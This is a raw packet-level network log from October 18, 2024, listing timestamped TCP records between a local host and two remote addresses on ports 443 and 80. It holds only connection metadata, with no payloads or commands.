Oct 18, 2024 23:46:32.918498039 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.918509007 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.918514013 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.921272993 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.921303988 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.921704054 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.922259092 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.922275066 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.924504995 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.925329924 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.925522089 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.925522089 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.925522089 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.926071882 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.926310062 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.926534891 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.926590919 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.926590919 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.926620007 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.926645994 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.928189993 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.928200006 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.928258896 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.928376913 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.928386927 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.929003000 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.929024935 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.929285049 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.929444075 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.929455996 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.929511070 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.929647923 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.929703951 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.929728031 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.929743052 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.929753065 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.929759026 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.931556940 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.931624889 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.931705952 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.931864023 CEST	49812	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:32.931895971 CEST	443	49812	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:32.938515902 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.938529015 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.938539028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.938585043 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.938632965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.938642979 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.938653946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.938663960 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.938676119 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.938688993 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.939002991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939018965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939058065 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.939131975 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939148903 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939157963 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939169884 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.939194918 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.939460993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939471006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939480066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939483881 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939495087 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939528942 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.939594030 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.939701080 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.940072060 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.940088987 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.940098047 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.940135002 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.983670950 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.983680964 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.983690977 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.983700991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.983711004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.983721972 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.983737946 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.983788967 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:32.984014988 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.984030962 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:32.984066963 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.030822992 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.058173895 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058190107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058199883 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058209896 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058218956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058228970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058242083 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.058294058 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.058388948 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058398962 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058435917 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.058588982 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058650970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058660984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058670998 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058693886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.058722973 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.058890104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058900118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058908939 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058933973 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.058958054 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058969021 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.058996916 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.059391022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.059441090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.059449911 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.059452057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.059493065 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.103180885 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103192091 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103198051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103244066 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.103379965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103394032 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103404999 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103415012 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103431940 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.103456974 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.103626013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103656054 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.103674889 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.155793905 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.177875996 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.177886009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.177896023 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.177947998 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.177957058 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.177966118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.177977085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.177994013 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.178010941 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.178086996 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178097963 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178148985 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.178507090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178518057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178529024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178539038 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178560972 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.178579092 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.178925991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178936005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178946972 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178983927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.178983927 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.179019928 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.179227114 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.179255009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.179264069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.179302931 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.222861052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.222912073 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.222955942 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.222966909 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.223006010 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.223016024 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.223020077 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.223066092 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.223145008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.223181009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.223190069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.223226070 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.233928919 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.233992100 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.269468069 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.269515991 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.269525051 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.269557953 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.297405005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.297446966 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.297456026 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.297461987 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.297494888 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.297537088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.297554016 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.297563076 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.297600031 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.297605038 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.297616005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.297656059 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.298048973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298090935 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.298104048 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298114061 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298146963 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.298362970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298379898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298388958 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298418999 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.298554897 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298598051 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.298602104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298614025 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298644066 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.298670053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298680067 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.298737049 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.342294931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342310905 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342323065 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342334032 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342345953 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342369080 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.342397928 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.342550039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342560053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342605114 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.342752934 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342791080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342803001 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.342839956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342849970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.342880964 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.389209986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.389230967 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.389247894 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.389276028 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.389300108 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.416912079 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.416958094 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417011976 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.417033911 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417045116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417083979 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.417121887 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417133093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417171955 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.417403936 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417413950 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417424917 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417471886 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.417639971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417650938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417659998 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417690039 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.417705059 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.417860985 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417903900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417912960 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.417949915 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.418215990 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.418232918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.418272018 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.418286085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.418324947 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.418348074 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.418407917 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.418417931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.418457031 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.462002039 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.462023020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.462055922 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.462075949 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.462089062 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.462127924 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.462155104 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.462168932 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.462328911 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.462389946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.462402105 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.462430954 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.509533882 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.509584904 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.509757996 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.509783983 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.509839058 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.509861946 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.509890079 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.509900093 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.509949923 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.530797958 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.531626940 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.531685114 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.532156944 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:33.532175064 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:33.536814928 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.536875010 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.536906004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.536916971 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.536926985 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.536955118 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.536971092 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.536983013 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.536988020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.536990881 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537025928 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.537043095 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.537331104 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537374973 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.537420034 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537436008 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537448883 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537457943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537468910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537476063 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.537480116 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537492037 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537499905 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.537502050 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.537527084 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.537540913 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.538522005 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.538532972 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.538542986 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.538575888 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.590120077 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.590169907 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.590173006 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.590183973 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.590212107 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.590217113 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.590224028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.590234995 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.590245962 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.590255022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.590274096 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.590301037 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.626478910 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.626569986 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.626899004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.626909018 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.626949072 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.627326965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.628739119 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.628750086 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.628761053 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:33.628792048 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:33.628827095 CEST	49795	80	192.168.2.5	104.192.108.20
